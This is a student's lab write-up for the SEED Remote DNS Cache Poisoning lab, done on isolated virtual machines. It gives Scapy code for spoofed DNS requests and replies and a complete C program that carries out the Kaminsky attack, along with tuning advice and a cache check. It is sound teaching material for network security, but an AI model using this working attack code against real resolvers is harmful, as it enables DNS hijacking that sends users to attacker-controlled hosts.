# Remote DNS Cache Poisoning Attack Lab
###### tags: `SUTD` `SEED Labs` `Network Security` `Lab`
*Done by: Lin Huiqing (1003810)*
Host-to-IP mappings used in this lab:
| Host | IP Address |
| ---------------- | ---------- |
| User VM | `10.0.2.5` |
| Local DNS Server | `10.0.2.6` |
| Attacker VM | `10.0.2.4` |
## Lab Environment Setup Tasks
### Task 1: Configure the User VM
On the User VM (`10.0.2.5`), root privileges are used to edit the `/etc/resolvconf/resolv.conf.d/head` file with the following command:
``` shell
sudo nano /etc/resolvconf/resolv.conf.d/head
```
In the file, we then add the IP address of the Local DNS Server (`10.0.2.6`) as a nameserver to the User VM, as seen below:

We then run `sudo resolvconf -u` to make our changes take effect. After which, we can check the `/etc/resolv.conf` file with the following command:
``` shell
sudo nano /etc/resolv.conf
```
The file is updated with `10.0.2.6` as a nameserver, as seen below:

> *After you finish configuring the user machine, use the dig command to get an IP address from a
hostname of your choice. From the response, please provide evidences to show that the response is indeed
from your server. If you cannot find the evidence, your setup is not successful.*
To check that the user machine has been properly configured, we run the `dig` command on the User VM. The response is from the Local DNS Server (`10.0.2.6`) we configured as shown below:

### Task 2: Configure the Local DNS Server (the Server VM)
We first check the `/etc/bind/named.conf` for `example.com` zone. It was not configured, as seen below:

To set up a forward zone for `poopypawslin.com`, we add a zone entry to `/etc/bind/named.conf`. To edit the file, we run the command `sudo nano /etc/bind/named.conf`. After which, we can add the zone entry as follows:

Next, we check that the Server VM has been properly set up. We can check that the configuration is done with the `/etc/bind/named.conf.options` file by looking out for the following lines:
* configure where to dump the DNS cache
``` bash
dump-file "/var/cache/bind/dump.db";
```
* turn off DNSSEC
``` bash
# dnssec-validation auto;
dnssec-enable no;
```
* fix source ports to 33333
``` bash
query-source port 33333
```
These lines should all be wrapped in the `options` of the `/etc/bind/named.conf.options` file. The file should look something like the screenshot below:

Restart the DNS server with `sudo service bind9 restart` to commit the changes made.
### Task 3: Configure the Attacker VM
After downloading the `poopypawslin.com.zone` and `example.com.zone` files on the attacker, we make the following changes to the IP addresses:
* User VM - `10.0.2.6` => `10.0.2.5`
* Local DNS Server - `10.0.2.7` => `10.0.2.6`
* User VM - `10.0.2.8` => `10.0.2.4`
After the changes are made, the files should be as follows:


After which, the files are copied to `/etc/bind` with the following commands:
``` shell
sudo cp poopypawslin.com.zone /etc/bind
sudo cp example.com.zone /etc/bind
```
The files should be added to `/etc/bind` as seen below:

After which, the following command is run to edit `/etc/bind/named.conf`:
``` shell
sudo nano /etc/bind/named.conf
```
The zone entries are then added to the file, as shown below.

The DNS server is then restarted with `sudo service bind9 restart` to commit the changes.
### Task 4: Testing the Setup
***Get the IP address of `ns.poopypawslin.com`.***
> *Please describe
your observation in your lab report.*
After querying for the IP address of `ns.poopypawslin.com` with the command `dig ns.poopypaws.com`, the following answer was received:

This matches the details specified in the `poopypawslin.com.zone` file on the attaker machine.
This response comes from the local DNS server (`10.0.2.6`) as seen below:

This means that the local DNS server was the server who responded to the query, even though the query was forwarded to the attacker, who provided the answers to the query.
***Get the IP address of `www.example.com`.***
> *Please run the following two commands (from the User VM), and describe your observation.*
When the command `dig www.example.com` is run, the following answer is received:

This means that there was no answer found to the query, because `ANSWER: 0`.
On the other hand, the 2 images below show the response when the command `dig @ns.poopypawslin.com www.example.com` was run:


This answer that `www.example.com` is at `1.2.3.5` corresponds to the details provided in the `example.com.zone` file on the attacker. This answer is provided by the attacker.
## The Attack Tasks
### Task 4: Construct DNS request
The following code was written for the attacker to construct and send DNS requests to the local DNS server:
``` python
from scapy.all import *
Qdsec = DNSQR(qname="www.example.com")
dns = DNS(id=0xAAAA, qr=0, qdcount=1, ancount=0, nscount=0, arcount=0, qd=Qdsec)
ip = IP(dst="10.0.2.6", src="10.0.2.4")
udp = UDP(dport=53, sport=52055, chksum=0)
request = ip/udp/dns
send(request)
```
Reasons for "+++" replacement:
* IP dst - this should be the IP address of the local DNS server, which is `10.0.2.6`.
* IP src - this should be the IP address of the attacker, which is `10.0.2.4`.
* UDP dport - this should be the destination port of the packet, any UDP port should do, so `53` was chosen.
* UDP sport - this should be the source port of the packet, any UDP port should do, so `52055` was chosen.
After the code is run with root privileges, the following UDP packet can be captured by Wireshark on the local DNS server:

As seen, the query triggers a series of packets sent and received as a result.
### Task 5: Spoof DNS Replies
DNS responses can be spoofed with the following code:
``` python
from scapy.all import *
name = "www.example.com"
domain = "example.com"
ns = "ns.poopypawslin.com"
Qdsec = DNSQR(qname=name)
Anssec = DNSRR(rrname=name, type="A", rdata="1.2.3.4", ttl=259200)
NSsec = DNSRR(rrname=domain, type="NS", rdata=ns, ttl=259200)
dns = DNS(id=0xAAAA, aa=1, rd=1, qr=1, qdcount=1, ancount=1, nscount=1, arcount=0, qd=Qdsec, an=Anssec, ns=NSsec)
ip = IP(dst="10.0.2.6", src="10.0.2.4")
udp = UDP(dport=53, sport=52055, chksum=0)
reply = ip/udp/dns
send(reply)
```
Reasons for "+++" replacement:
* name - this should be the name that is queried, which is `www.example.com`.
* domain - this should be the domain name, which is `example.com`.
* ns - this should be the nameserver which has provided the answer to the query, which we want to be the malicious nameserver `ns.poopypawslin.com`.
* IP dst - this should be the IP address of the local DNS server, which is `10.0.2.6`.
* IP src - this should be the IP address of the attacker, which is `10.0.2.4`.
* UDP dport - this should be the destination port of the packet, any UDP port should do, so `53` was chosen.
* UDP sport - this should be the source port of the packet, any UDP port should do, so `52055` was chosen.
After the code is run with root privileges, the following UDP packet can be captured by Wireshark on the local DNS server:

As seen, the sections are filled accordingly as expected, and there is no error, meaning that the packet is valid.
### Task 6: Launch the Kaminsky Attack
To start the attack, we first create template DNS packets with scapy.
Below is the code to create the template packet for requests.
``` python
from scapy.all import *
Qdsec = DNSQR(qname="rando.example.com")
dns = DNS(id=0xAAAA, qr=0, qdcount=1, ancount=0, nscount=0, arcount=0, qd=Qdsec)
ip = IP(dst="10.0.2.6", src="10.0.2.4")
udp = UDP(dport=53, sport=52055, chksum=0)
request = ip/udp/dns
with open("ip_req.bin", "wb") as f:
f.write(bytes(request))
```
This code is run so as to get the template DNS request packet in as a binary file `ip_req.bin`.
Next, we use Wireshark to check the details of legitimate DNS requests made by the local DNS server when a `dig` is run, as shown below.

From the packet, we can extract the following:
* IP address of the legitimate nameserver that will be queried - `192.112.36.4`
* Src port - `33333`
* Dst port - `53`
These pieces of information is then used to construct the template DNS response packet as follows:
``` python
from scapy.all import *
name = "rando.example.com"
domain = "example.com"
ns = "ns.poopypawslin.com"
Qdsec = DNSQR(qname=name)
Anssec = DNSRR(rrname=name, type="A", rdata="1.2.3.4", ttl=259200)
NSsec = DNSRR(rrname=domain, type="NS", rdata=ns, ttl=259200)
dns = DNS(id=0xAAAA, aa=1, rd=1, qr=1, qdcount=1, ancount=1, nscount=1, arcount=0, qd=Qdsec, an=Anssec, ns=NSsec)
ip = IP(dst="10.0.2.6", src="192.112.36.4")
udp = UDP(dport=33333, sport=53, chksum=0)
reply = ip/udp/dns
with open("ip_resp.bin", "wb") as f:
f.write(bytes(reply))
```
This code is run so as to get the template DNS response packet in as a binary file `ip_resp.bin`.
Next, we use C to code for the Kaminsky Attack.
To do so, we first have to send a DNS request packet with a randomised subdomain. The random name can be generated with the following:
``` c
char a[26]="abcdefghijklmnopqrstuvwxyz";
char name[6];
for (int k=0; k<5; k++) {
name[k] = a[rand() % 26];
};
name[5] = '\0'; // To terminate char array
```
This generates a randomised string of 5 characters.
Next, the template DNS request packet is modified then sent with the following code:
``` c
/* Send the DNS request packet.
* temp_buf: to contain the entire template DNS request packet.
* pkt_size: the size of the temp_buf buffer.
* name: randomised subdomain.
* */
void send_dns_request(char * temp_buf, int pkt_size, char * name)
{
// Modify the name in the question field (offset=41)
memcpy(temp_buf+41, name, 5);
// Send request packet
send_raw_packet(temp_buf, pkt_size);
}
```
The `name` is the subdomain we randomly generated previously. It replaces the subdomain in the question section of the packet.
Then, the template DNS request packet is modified then sent with the following code:
``` c
/* Send the DNS response packet.
* temp_buf: to contain the entire template DNS request packet.
* pkt_size: the size of the temp_buf buffer.
* name: randomised subdomain.
* txn_id: transaction id geberated.
* */
void send_dns_response(char * temp_buf, int pkt_size, char * name, int txn_id)
{
// Modify the name in the question field (offset=41)
memcpy(temp_buf+41, name, 5);
// Modify the name in the answer field (offset=64)
memcpy(temp_buf+64, name, 5);
// Modify the transaction ID field (offset=28)
unsigned short id_net_order = htons(txn_id);
memcpy(temp_buf+28, &id_net_order, 2);
// Send request packet
send_raw_packet(temp_buf, pkt_size);
}
```
The `name` is the same subdomain we randomly generated previously. `name` replaces the subdomain in the question and answer sections of the packet. The `txn_id` is assigned by us and replaces the transaction id in the template packet.
After some experimentation by launching small attacks and tracing them with Wireshark, I have determined 100-200 to be a good range for the number of spoofed DNS response packets sent per request. However, do note that this varies with network speed. It is safer to send out more response packets than less when in doubt as spoofed packets would only work if sent after the local DNS server starts the recursive DNS queries. On the other hand, too many response packets sent would compromise the efficiency of the attack as spoofed packets would not work either if they are sent after the server has received legitimate responses.
Spoofed packets are sent with the for loop as follows:
``` c
for (int pkt_no=0; pkt_no<150; pkt_no++) {
send_dns_response(ip_resp, n_resp, name, transaction_id);
}
```
Putting it together, the full C code for the Kaminsky attack in `attack.c` is as follows:
``` c
#include <stdlib.h>
#include <arpa/inet.h>
#include <string.h>
#include <stdio.h>
#include <unistd.h>
#include <time.h>
#define MAX_FILE_SIZE 1000000
/* IP Header */
struct ipheader {
unsigned char iph_ihl:4, //IP header length
iph_ver:4; //IP version
unsigned char iph_tos; //Type of service
unsigned short int iph_len; //IP Packet length (data + header)
unsigned short int iph_ident; //Identification
unsigned short int iph_flag:3, //Fragmentation flags
iph_offset:13; //Flags offset
unsigned char iph_ttl; //Time to Live
unsigned char iph_protocol; //Protocol type
unsigned short int iph_chksum; //IP datagram checksum
struct in_addr iph_sourceip; //Source IP address
struct in_addr iph_destip; //Destination IP address
};
void send_raw_packet(char * buffer, int pkt_size);
void send_dns_request( );
void send_dns_response( );
int main()
{
long i = 0;
srand(time(NULL));
// Load the DNS request packet from file
FILE * f_req = fopen("ip_req.bin", "rb");
if (!f_req) {
perror("Can't open 'ip_req.bin'");
exit(1);
}
unsigned char ip_req[MAX_FILE_SIZE];
size_t n_req = fread(ip_req, 1, MAX_FILE_SIZE, f_req);
// Load the first DNS response packet from file
FILE * f_resp = fopen("ip_resp.bin", "rb");
if (!f_resp) {
perror("Can't open 'ip_resp.bin'");
exit(1);
}
unsigned char ip_resp[MAX_FILE_SIZE];
int n_resp = fread(ip_resp, 1, MAX_FILE_SIZE, f_resp);
char a[26]="abcdefghijklmnopqrstuvwxyz";
while (1) {
unsigned short transaction_id = 10000;
// Generate a random name with length 5
char name[6];
for (int k=0; k<5; k++) {
name[k] = a[rand() % 26];
};
name[5] = '\0';
printf("attempt #%ld. request is [%s.example.com]\n",
++i, name);
// Send DNS request
send_dns_request(ip_req, n_req, name);
// Send spoofed DNS response packets
for (int pkt_no=0; pkt_no<150; pkt_no++) {
send_dns_response(ip_resp, n_resp, name, transaction_id);
transaction_id += 8;
}
}
}
/* Send the DNS request packet.
* temp_buf: to contain the entire template DNS request packet.
* pkt_size: the size of the temp_buf buffer.
* name: randomised subdomain.
* */
void send_dns_request(char * temp_buf, int pkt_size, char * name)
{
// Modify the name in the question field (offset=41)
memcpy(temp_buf+41, name, 5);
// Send request packet
send_raw_packet(temp_buf, pkt_size);
}
/* Send the DNS response packet.
* temp_buf: to contain the entire template DNS request packet.
* pkt_size: the size of the temp_buf buffer.
* name: randomised subdomain.
* txn_id: transaction id geberated.
* */
void send_dns_response(char * temp_buf, int pkt_size, char * name, int txn_id)
{
// Modify the name in the question field (offset=41)
memcpy(temp_buf+41, name, 5);
// Modify the name in the answer field (offset=64)
memcpy(temp_buf+64, name, 5);
// Modify the transaction ID field (offset=28)
unsigned short id_net_order = htons(txn_id);
memcpy(temp_buf+28, &id_net_order, 2);
// Send request packet
send_raw_packet(temp_buf, pkt_size);
}
/* Send the raw packet out
* buffer: to contain the entire IP packet, with everything filled out.
* pkt_size: the size of the buffer.
* */
void send_raw_packet(char * buffer, int pkt_size)
{
struct sockaddr_in dest_info;
int enable = 1;
// Step 1: Create a raw network socket.
int sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
// Step 2: Set socket option.
setsockopt(sock, IPPROTO_IP, IP_HDRINCL,
&enable, sizeof(enable));
// Step 3: Provide needed information about destination.
struct ipheader *ip = (struct ipheader *) buffer;
dest_info.sin_family = AF_INET;
dest_info.sin_addr = ip->iph_destip;
// Step 4: Send the packet out.
sendto(sock, buffer, pkt_size, 0,
(struct sockaddr *)&dest_info, sizeof(dest_info));
close(sock);
}
```
Compile `attack.c` with the following command:
``` shell
gcc attack.c -o attack
```
After which, the code can be run with the following command:
``` shell
./attack
```
To check if the attack is successful, we create the following bash script `dns_cache_check.sh` on the local DNS server:
``` bash
#!/bin/bash
sudo rndc dumpdb -cache
cat /var/cache/bind/dump.db | grep attacker
```
If the attack is successful, running the script with `bash dns_cache_check.sh` should give the following output:

### Task 7: Task 7: Result Verification
> *Please include your observation (screenshots) in the lab report, and explain why you think your attack is successful. In particular, when you run the first dig commands, use Wireshark to capture the network traffic, and point out what packets are triggered by this dig command. Use the packet trace to prove that
your attack is successful.*
The following screenshots are the outputs when `dig www.example.com` and `dig @ns.poopypawslin.com www.example.com` are run respectively.


As seen, both queries return the same response, giving the same answer that `www.example.com` is at `1.2.3.5` and that this answer is provided by the malicious nameserver `ns.poopypawslin.com` at `10.0.2.4`. The malicious nameserver is treated as one that can give an authoritative answer.
This matches the information we put in `example.com.zone` earlier. Furthermore, when the User machine runs `dig www.example.com`, the following packets were captured by the local DNS server:


As seen, the local DNS server directly queries the malicious server `ns.poopypawslin.com` at `10.0.2.4` for the answer instead of performing recursive DNS queries. This means that the malicious server has been cached as a nameserver, which means that the attack is successful as the local DNS cache has been poisoned.